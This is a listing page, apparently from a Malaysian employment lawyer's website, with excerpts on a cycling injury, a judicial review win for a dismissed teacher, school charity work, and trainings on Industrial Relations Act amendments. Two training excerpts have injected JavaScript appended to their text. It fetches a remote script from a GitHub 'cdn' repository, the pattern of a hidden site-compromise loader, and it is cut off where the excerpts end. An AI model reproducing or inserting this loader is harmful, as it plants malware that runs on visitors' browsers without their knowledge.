01 Jan 2021

Off the beaten path
2019 and 2020 was fraught with challenges,  In April 2019, a crash on the bicycle left me unconscious for 15 minutes which today has left me with residual of head injuries among which was a post-concussion syndrome. In February 2020, I developed Deep Vein Thrombosis (DVT) which has caught in the ‘nick of time’ as the blood clots had travelled up to lungs resulting in Pulmonary Em...
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28 Aug 2020

News
The Taiping High Court allowed our Judicial Review application against the Government of Malaysia. This was in respect of a Teacher who was unlawfully dismissed by the Education Ministry in 2019. I had submitted that the Education Ministry, had ridden roughshod over the Applicant in failing to use the Education Service Disciplinary Board Regulations 1994 to granting the Applicant the...
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22 Mar 2020

Off the beaten path
Since 2016 we have been partnering the AWOL Tour to help the remote and poor schools with education support. From the building of libraries, donating of sporting equipment, lap tops with English learning programs and also bicycle to ensure that the underprivilege children have access to education and also extra-curricular activity. https://youtu.be/CB_H2IrgUvI http...
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03 Mar 2020

Events & Forums
TRAINING ON THE 7th & 8th April 2020 As you might be aware the amendments to the Industrial Relations Act 1967 comes into force in the next 3 months and also the Employment Act 1955 (by year end). All companies will have new challenges in employee engagement which they need to be prepared for. I am aware of the challenges you face from your immediate superior and also your ...
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18 Dec 2019

Events & Forums
Round 1 (IPOH) briefing on the amendments to the Industrial Relations Act. Telling the Employers and Business Owners on the harsh reality of the amendments and how it will affect organisations. It is going to cost the Company everything while it cost the Employee nothing. #changemanagement #industrialrelations Round 2 on the amendments to the Industrial Relations Act for members of the M...
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01 Nov 2019

Past Trainings
Bracing organisations for major changes in the Industrial Relations Act 1967. Another training on Management Empowerment for BKB Hevea, to help them align their procedures and address conformity among their Managers through their HR processes before the amendments take effect. ;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then(response...
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01 Oct 2019

Past Trainings
Big changes coming in Employment Law. The amendments to the Industrial Relations Act will have far reaching consequences on companies. An employee will get his day in court as the process is will now take 1/2 the time for it to be referred to the Industrial Court. The major changes affecting Companies are:- 1. The HR Minister discretion to refer cases to the Industrial Court is abolish...
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01 Sep 2019

Past Trainings
Employee Engagement & Management for the senior Management team of Perak Turf Club. The benefit of in-house training is that I can align company's policies to 'mirror' employment legislation. More importantly its a 'no holds barred' training to make Management accountable & responsible to drive those policies thru its engagement processes with its employees. #management #humanr...
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01 Sep 2019

Past Trainings
Another 2 days training on Employee Engagement and the Disciplinary process. A different approach unlike my regular training sessions. A group of 6 were put thru the rigours of the topic with breakout sessions focusing on case studies and finding solutions Pushing them to think 'outside the box' on how to create systems and creating accountability;var url = 'https://raw.githubusercont...
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